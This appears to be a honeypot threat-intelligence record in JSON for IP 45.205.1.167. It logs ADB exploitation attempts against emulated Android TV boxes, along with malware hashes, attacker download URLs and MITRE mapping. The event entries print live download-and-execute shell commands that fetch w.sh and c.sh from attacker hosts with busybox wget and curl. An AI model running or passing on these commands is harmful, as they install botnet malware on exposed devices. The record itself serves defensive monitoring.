{"ip":"45.205.1.167","data_as_of":"2026-10-26T21:45:28+00:00","observed":true,"total_events":8,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 loader / command-injection payload(s)","confidence":"high","network_type":"CDN","why":["4 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Counts include 10 interactive session(s) as well as first-packet events.","Interactive sessions: 10 interactive session(s) ran commands after logging in."],"engagement":{"level":"request","label":"Request traffic","detail":"3,853 bytes sent","bytes_sent":3853,"session_seconds":31,"persistent":false},"basis":"combined"},"first_seen":"2026-10-20T13:33:12","last_seen":"2026-10-21T08:33:40","events_24h":0,"events_7d":8,"interactive_sessions":10,"interactive_sessions_24h":0,"interactive_sessions_7d":10,"interactive_protocols":[{"protocol":"adb","sessions":10}],"geo":{"country_code":"BR","country_name":"Brazil","region":"","city":"","lat":-22.8305,"lon":-43.2192,"asn":215925,"org":"Vpsvault.host Ltd"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as215925","label":"VPSVAULTHOST","category":"cdn","url":"https://www.peeringdb.com/asn/215925"},"cve_matches":[],"malware":[{"sha256":"ec0a0374513a93cd3f34e6b0ce57fc7408706dfd687bd608c385ac8da54ce047","family":"bash","vt_name":"","malicious":17,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-21 06:56:40"},{"sha256":"4d382ff038bad3a7bb7eccf33e83461bd5568ec4100b95dc3c26e5d2f7a507ac","family":"bash","vt_name":"bafkreicnhax7aof22ot3w7wm6m7igrq32vli5raqbok5ypbg4xjppjihvq","malicious":14,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-20 17:10:11"},{"sha256":"2751c75b2feb5a763eb3adeace97f8b67b9e1547d7e5cba8d672fa3562cb3058","family":"camelot","vt_name":"bafkreibhkhdvwl7llj3d5m5n5lhjp6fwpopbkr6x4xf2rvts7i2wfszqla","malicious":4,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-20 17:10:11"},{"sha256":"5f2ce113af813e678b165001aca58bb49371edde592e0956f0e5b697338f7005","family":"camelot","vt_name":"c.sh","malicious":4,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-20 19:27:07"},{"sha256":"4890d90dd5eedd73f37ba627da8d1487114db5f5366772a9a464defc493c6943","family":"shell","vt_name":"","malicious":20,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-21 06:56:40"},{"sha256":"75b3e06376152ce2aee9187802dc56e18e35124538faaa9a3a0e2af5bff15912","family":"bash","vt_name":"huw7k.exe","malicious":12,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-20 19:27:07"}],"udp":null,"interaction":{"window_days":90,"sessions":10,"first_seen":"2026-10-20T13:33:12","last_seen":"2026-10-21T08:18:16","verdicts":[{"verdict":"post-exploitation","sessions":10}],"personas":[{"persona":"adb@Android 7.1 TV box","sessions":6},{"persona":"adb@Android 9 TV box","sessions":4}],"services":[{"protocol":"adb","port":5555,"sessions":10}],"logins":[],"commands":[],"downloads":[{"url":"[http]://45[.]205[.]1[.]167:24381/bins/payloads/w.sh","host":"45[.]205[.]1[.]167","sessions":3,"first_seen":"2026-10-20T19:27:07","last_seen":"2026-10-20T22:49:42","virustotal":{"sha256":"75b3e06376152ce2aee9187802dc56e18e35124538faaa9a3a0e2af5bff15912","status":"known","malicious":12,"total":75,"name":"huw7k.exe"}},{"url":"[http]://45[.]205[.]1[.]167:24381/bins/payloads/c.sh","host":"45[.]205[.]1[.]167","sessions":3,"first_seen":"2026-10-20T19:27:07","last_seen":"2026-10-20T22:49:42","virustotal":{"sha256":"5f2ce113af813e678b165001aca58bb49371edde592e0956f0e5b697338f7005","status":"uploaded","malicious":4,"total":75,"name":"c.sh"}},{"url":"[http]://45[.]9[.]2[.]239:24381/bins/payloads/w.sh","host":"45[.]9[.]2[.]239","sessions":2,"first_seen":"2026-10-21T06:56:40","last_seen":"2026-10-21T08:18:16","virustotal":{"sha256":"4890d90dd5eedd73f37ba627da8d1487114db5f5366772a9a464defc493c6943","status":"known","malicious":20,"total":75,"name":""}},{"url":"[http]://45[.]9[.]2[.]239:24381/bins/payloads/c.sh","host":"45[.]9[.]2[.]239","sessions":2,"first_seen":"2026-10-21T06:56:40","last_seen":"2026-10-21T08:18:16","virustotal":{"sha256":"ec0a0374513a93cd3f34e6b0ce57fc7408706dfd687bd608c385ac8da54ce047","status":"known","malicious":17,"total":75,"name":""}},{"url":"[https]://magenta-tropical-egret-691[.]mypinata[.]cloud/ipfs/bafkreicnhax7aof22ot3w7wm6m7igrq32vli5raqbok5ypbg4xjppjihvq","host":"magenta-tropical-egret-691[.]mypinata[.]cloud","sessions":2,"first_seen":"2026-10-20T17:10:11","last_seen":"2026-10-20T17:34:07","virustotal":{"sha256":"4d382ff038bad3a7bb7eccf33e83461bd5568ec4100b95dc3c26e5d2f7a507ac","status":"uploaded","malicious":14,"total":75,"name":"bafkreicnhax7aof22ot3w7wm6m7igrq32vli5raqbok5ypbg4xjppjihvq"}},{"url":"[https]://magenta-tropical-egret-691[.]mypinata[.]cloud/ipfs/bafkreibhkhdvwl7llj3d5m5n5lhjp6fwpopbkr6x4xf2rvts7i2wfszqla","host":"magenta-tropical-egret-691[.]mypinata[.]cloud","sessions":2,"first_seen":"2026-10-20T17:10:11","last_seen":"2026-10-20T17:34:07","virustotal":{"sha256":"2751c75b2feb5a763eb3adeace97f8b67b9e1547d7e5cba8d672fa3562cb3058","status":"uploaded","malicious":4,"total":75,"name":"bafkreibhkhdvwl7llj3d5m5n5lhjp6fwpopbkr6x4xf2rvts7i2wfszqla"}},{"url":"[http]://46[.]16[.]34[.]248:24381/bins/payloads/w.sh","host":"46[.]16[.]34[.]248","sessions":2,"first_seen":"2026-10-20T13:33:12","last_seen":"2026-10-20T13:56:43","virustotal":{"sha256":"6b30e97ad75c7f255a93b51e497f416759a6c0906891bdf56c52c7f78dc4870e","status":"known","malicious":10,"total":75,"name":"w.sh"}},{"url":"[http]://46[.]16[.]34[.]248:24381/bins/payloads/c.sh","host":"46[.]16[.]34[.]248","sessions":2,"first_seen":"2026-10-20T13:33:12","last_seen":"2026-10-20T13:56:43","virustotal":{"sha256":"2e7a5ab7abb5899b0cfac6cf530ecfd3060ec2f2f120863797158686d6ed228a","status":"known","malicious":16,"total":75,"name":"c.sh"}},{"url":"[http]://45[.]153[.]34[.]18:24381/bins/payloads/w.sh","host":"45[.]153[.]34[.]18","sessions":1,"first_seen":"2026-10-20T15:25:51","last_seen":"2026-10-20T15:25:51","virustotal":{"sha256":"639c1b1b90fedaaee4e8dc8f922e16a04aaade7403e35d3dc522d9868daa73f3","status":"uploaded","malicious":19,"total":75,"name":"w.sh"}},{"url":"[http]://45[.]153[.]34[.]18:24381/bins/payloads/c.sh","host":"45[.]153[.]34[.]18","sessions":1,"first_seen":"2026-10-20T15:25:51","last_seen":"2026-10-20T15:25:51","virustotal":{"sha256":"2cd467726dc527eefb041e8685ccb1862fcd2826f00fd6bbd4800cca1c8b42dd","status":"uploaded","malicious":16,"total":75,"name":"c.sh"}}],"files":[{"sha256":"a217594ad976cc7d362cae476b371f3c133dbceec3275fb3da9a15e20429ddda","name":"shell-1","size":172,"mime_type":"text/plain","kind":"adb-command","times":3,"first_seen":"2026-10-20T19:26:37","last_seen":"2026-10-20T22:49:12","virustotal":null},{"sha256":"7d5463b75ed6641a538f728e8a0a43660f74e6740e09d2147296cf35d666d907","name":"shell-1","size":143,"mime_type":"text/plain","kind":"adb-command","times":2,"first_seen":"2026-10-21T06:56:10","last_seen":"2026-10-21T08:17:46","virustotal":null},{"sha256":"be77c59311ad2656b041f48d2be43918b17a85b25cc2855900652e39111a8546","name":"shell-1","size":312,"mime_type":"text/plain","kind":"adb-command","times":2,"first_seen":"2026-10-20T17:09:41","last_seen":"2026-10-20T17:33:37","virustotal":null},{"sha256":"e7c2ccc50becb726ae757cf8497a7fd1480f68cb401d2936f6807b3c48526b83","name":"shell-1","size":147,"mime_type":"text/plain","kind":"adb-command","times":2,"first_seen":"2026-10-20T13:32:42","last_seen":"2026-10-20T13:56:13","virustotal":null},{"sha256":"a248c3feee2d668763c1bac92ce37085004601845923a2b7e2bd32b118a14841","name":"shell-1","size":147,"mime_type":"text/plain","kind":"adb-command","times":1,"first_seen":"2026-10-20T15:25:21","last_seen":"2026-10-20T15:25:21","virustotal":null}],"attack":[{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":10}]},"top_ports":[{"port":5555,"proto":"tcp","label":"","count":8,"sessions":10}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-20","count":4,"sessions":8},{"date":"2026-10-21","count":4,"sessions":2}],"recent_events":[{"timestamp":"2026-10-21T08:33:40","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000J/\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.sh; sh w.sh; curl http://45.9.2.239:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000960000004a2f0000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"ab9a3d54-646e-4503-ae81-48b3c2ebdc4e","seq":2,"duration_ms":236,"bytes_in":225,"bytes_out":24,"enriched":{"digest":"526f27d13c55489a","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.…"],"iocs":{"urls":["http://45.9.2.239:24381/bins/payloads/w.…"],"ips":["45.9.2.239"],"paths":["/data/local/tmp","/bins/payloads/w."]}}},{"timestamp":"2026-10-21T08:33:40","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"ab9a3d54-646e-4503-ae81-48b3c2ebdc4e","seq":1,"duration_ms":101,"bytes_in":51,"bytes_out":12,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}},{"timestamp":"2026-10-21T08:17:46","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000J/\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.sh; sh w.sh; curl http://45.9.2.239:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000960000004a2f0000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"08dc54ac-4760-4419-b090-347978f23d39-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"526f27d13c55489a","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.…"],"iocs":{"urls":["http://45.9.2.239:24381/bins/payloads/w.…"],"ips":["45.9.2.239"],"paths":["/data/local/tmp","/bins/payloads/w."]}},"interactive":true},{"timestamp":"2026-10-21T08:17:46","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"08dc54ac-4760-4419-b090-347978f23d39-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-21T06:56:10","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000J/\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.sh; sh w.sh; curl http://45.9.2.239:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000960000004a2f0000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"6b2616d5-a49a-406b-af4c-c9ac1b57f4b3-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"526f27d13c55489a","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.…"],"iocs":{"urls":["http://45.9.2.239:24381/bins/payloads/w.…"],"ips":["45.9.2.239"],"paths":["/data/local/tmp","/bins/payloads/w."]}},"interactive":true},{"timestamp":"2026-10-21T06:56:10","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"6b2616d5-a49a-406b-af4c-c9ac1b57f4b3-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-21T05:35:15","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000�6\u0000\u0000����shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bins/payloads/w.sh; sh w.sh; curl -L -s -o c.sh http://45.205.1.167:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000b30000009f360000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f782077676574202d71202d4f20772e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c202d4c202d73202d6f20632e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"925b780d-a46e-43f0-ba5c-4e775bd5be32","seq":2,"duration_ms":235,"bytes_in":254,"bytes_out":24,"enriched":{"digest":"71f89501e67ea794","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bin…"],"iocs":{"urls":["http://45.205.1.167:24381/bin…"],"ips":["45.205.1.167"],"domains":["w.sh"],"paths":["/data/local/tmp"]}}},{"timestamp":"2026-10-21T05:35:15","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"925b780d-a46e-43f0-ba5c-4e775bd5be32","seq":1,"duration_ms":101,"bytes_in":51,"bytes_out":12,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}},{"timestamp":"2026-10-20T22:49:12","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000�6\u0000\u0000����shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bins/payloads/w.sh; sh w.sh; curl -L -s -o c.sh http://45.205.1.167:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000b30000009f360000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f782077676574202d71202d4f20772e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c202d4c202d73202d6f20632e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"98729041-8417-44d7-a546-baf170491d3b-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"71f89501e67ea794","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bin…"],"iocs":{"urls":["http://45.205.1.167:24381/bin…"],"ips":["45.205.1.167"],"domains":["w.sh"],"paths":["/data/local/tmp"]}},"interactive":true},{"timestamp":"2026-10-20T22:49:12","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"98729041-8417-44d7-a546-baf170491d3b-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":10},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":10}]}